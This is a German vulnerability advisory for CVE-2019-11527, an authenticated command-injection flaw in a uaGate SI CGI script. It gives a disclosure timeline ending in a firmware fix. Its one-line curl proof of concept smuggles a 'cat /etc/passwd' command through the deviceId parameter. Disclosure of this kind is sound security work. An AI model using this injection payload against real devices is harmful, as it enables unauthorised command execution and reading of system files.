CVE-2019-11527 - uaGate authentifizierte Remote-Code-Ausführung

Zusammenfassung

Ein CGI-Skript des uaGate SI verarbeitet seine Parameter unsicher. Bösartig gestaltete URL-Parameter können eine beliebige Befehlsnutzlast übertragen, die mit den Rechten des Webservers ausgeführt wird. Der Befehlsausgabe wird als Antwort auf die bösartige Webanfrage zurückgegeben.

Angriffsvektor

Ein authentifizierter Angreifer kann beliebige Befehle durch eine Webanfrage ausführen.

Proof-of-Concept-Details

curl --silent --user itadmin:******* 'http://uagate/cgi-bin/it/registerAzureIotProxy.cgi?task=register&deviceId=%26cat%20/etc/passwd%26' | cat | head -n 30

Angriffsszenario

Diese Exploit kann in einer Exploit-Kette zusammen mit einer Privilegieneskalations-Schwachstelle verwendet werden, um vollständige Kontrolle über das Zielgerät zu erlangen.

Zeitverlauf

  • Tag 0: Pentest des uaGate SI Geräts - 21.12.2018
  • Tag 28: Erster Kontakt zum Hersteller - 18.01.2019
  • Tag 63: Fehlerbericht an Hersteller - 22.02.2019
  • Tag 66: Sichere Kommunikationskanal eingerichtet - 25.02.2019
  • Tag 74: Detaillierter Fehlerbericht an Hersteller - 05.03.2019
  • Tag 116: Hersteller bestätigt Sicherheitsprobleme - 16.04.2019
  • Tag 125: CVE-ID von MITRE vergeben - 25.04.2019
  • Tag 229: Fix in Firmware 1.71.00.1225 gefunden - 07.08.2019
  • Tag 293: Veröffentlichung - 10.10.2019

Danksagung

djo@mioso.com